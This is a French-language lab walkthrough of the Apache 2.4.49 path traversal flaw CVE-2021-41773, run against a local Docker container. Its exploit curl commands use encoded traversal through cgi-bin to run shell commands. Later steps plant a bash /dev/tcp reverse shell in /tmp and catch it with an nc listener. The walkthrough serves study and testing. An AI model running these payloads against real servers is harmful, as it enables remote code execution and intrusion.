
The first vulnerability with the CVE identifier CVE-2021-41773 is a path traversal flaw that exists in Apache HTTP Server 2.4.49.
Une faille a été découverte dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une attaque de traversée de chemin pour mapper des URL vers des fichiers situés en dehors des répertoires configurés par des directives de type Alias.
Si les fichiers en dehors de ces répertoires ne sont pas protégés par la configuration par défaut habituelle "require all denied", ces requêtes peuvent réussir. Si les scripts CGI sont également activés pour ces chemins d'alias, cela pourrait permettre l'exécution de code à distance.
Ce problème est connu pour être exploité dans la nature.
Ce problème n'affecte que Apache 2.4.49 et pas les versions antérieures.
Une attaque de traversée de chemin (également connue sous le nom de traversée de répertoire) vise à accéder à des fichiers et répertoires stockés en dehors du dossier racine web. En manipulant des variables qui référencent des fichiers avec des séquences "point-point-barre oblique (../)" et leurs variations, ou en utilisant des chemins de fichiers absolus, il peut être possible d'accéder à des fichiers et répertoires arbitraires stockés sur le système de fichiers, y compris le code source de l'application, la configuration et des fichiers système critiques. Il convient de noter que l'accès aux fichiers est limité par le contrôle d'accès opérationnel du système (comme dans le cas des fichiers verrouillés ou en cours d'utilisation sur le système d'exploitation Microsoft Windows).
Cette attaque est également connue sous les noms de "dot-dot-slash", "directory traversal", "directory climbing" et "backtracking".
$ docker-compose build
$ docker-compose up
Confirmer que cela fonctionne
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Victime : localhost:1234
Attaquant : 192.168.1.12
Selon la documentation, il s'agit d'une faille qui permet d'exécuter du code à distance (RCE).
Nous pouvons l'exploiter en effectuant un curl avec le dossier cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Voyons si nous avons effectivement accès à la commande, disons id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Nous allons tester un reverse shell en créant un fichier bash sur le serveur de la victime.
Prenons comme exemple le reverse shell en bash trouvé dans le dépôt PayloadsAllTheThings.
Voici un exemple :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Créons le fichier vuln.sh sur la machine de la victime dans le dossier /tmp/ !
Ce fichier contiendra notre reverse shell que nous pourrons exécuter à distance. Il se connectera à notre machine locale sur le port 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Vous pouvez vérifier le contenu du fichier avec la commande
cat$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener avec ncat
Créons le listener sur la machine locale.
$ nc -lvnp 44
Il ne reste plus qu'à exécuter le fichier distant.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Réponse :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.